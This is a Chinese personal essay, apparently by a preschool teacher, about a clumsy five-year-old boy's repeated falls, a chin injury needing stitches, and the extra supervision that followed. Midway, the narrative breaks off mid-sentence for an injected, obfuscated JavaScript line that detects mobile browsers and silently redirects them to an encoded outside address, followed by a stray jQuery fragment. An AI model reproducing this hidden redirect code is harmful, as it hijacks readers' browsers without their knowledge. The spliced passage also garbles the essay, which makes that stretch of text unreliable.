凯奇是班上一个出生时有些基因缺陷的小男孩，性格天真善良，才五岁多身高却已经十足像个八岁的孩子；动手能力很强，对积木、乐高这些结构性的玩具兴趣很浓，却常常由于注意力过于集中而听不见老师讲的话；说话口齿有些不清楚，平衡能力也很差，却总喜欢奔跑和做各种危险的动作，几乎每天都要磕碰和摔跤，甚至在教室里的地毯上都能摔倒，是传说中那种一道月光都能把他绊个跟头的现实写照。
凯奇每天都是爸爸来接，我曾对他爸爸表示过对他的担心，因为凯奇在院子里跑得太快却不看路，不时撞到各种物体上，他爸爸也总是叮嘱他：“要跑慢一点，在学校一定要听老师的话！”
某天孩子们排队洗手时突然听见洗手间里一声巨响，我和玛丽安连忙进去察看，发现凯奇已经头朝门口趴在地上大哭起来，下巴上流着鲜血。玛丽安连忙用纸巾包着冰袋给他冷敷，林奈则打电话通知家长并填写事故报告，不一会儿他爸爸匆匆赶来神色忧虑地把他接走了，结果是他的下巴上缝了五针。
第二天凯奇顶着下巴上的胶布来上学，一整天只要他去洗手间我都得按照玛丽安的吩咐跟过去盯着，凯奇还有些害羞，频频回头警觉地透过洗手间门上的小方格偷偷观察我是否在看他，我于是将脸转向别处，可是只要他上完厕所开始洗手我便立刻打开门监督。
下午在活动室玩的时候凯奇居然骑了一辆最大的玩具三轮车飞快地转着圈，后座上还驮着两个小女孩，他很快就骑到堆在墙边的一叠垫子上，义无反顾地从车上摔了下来，好在两个女孩都无碍，他自己也摔得不重。
我只好让凯奇待在软垫上安静地玩，他不安分地在垫子上扭来扭去，半个身子留在垫子上，腿却伸出去老远，我实在担心他再受伤，于是勒令他待到垫子中间去，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437800|184973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他倒是听话地乖乖照办。
另一天凯奇和几个男孩在玩具屋附近玩耍，凯奇带头把地上的尘土剧烈地扬起来，其他几个孩子兴奋地说那是烟雾，纷纷效仿，紧接着凯奇又跑到我坐的树桩旁，开始用力剥另一个树桩的树皮，我可以清晰地听见树皮从树桩上分离的“吱吱”声——这个小孩简直是分分钟无意识地做着各种危险和破坏性动作。
我连忙制止：“不，不，停下！”
他垮着一张前一秒还兴奋投入的脸跑开了，一同在院子里的中一班老师曼妮瞧见这一幕，笑着冲我无奈地摇摇头。
每天下午快放学的时候凯奇总是一脸无辜又天真地问我：“我今天过得好吗？我今天有听老师的话吗？”仿佛那些危险的动作统统与他无关。
我总是和颜悦色地回答：“你今天过得很好，你今天有开始学习听老师的话，希望你明天做得更好。”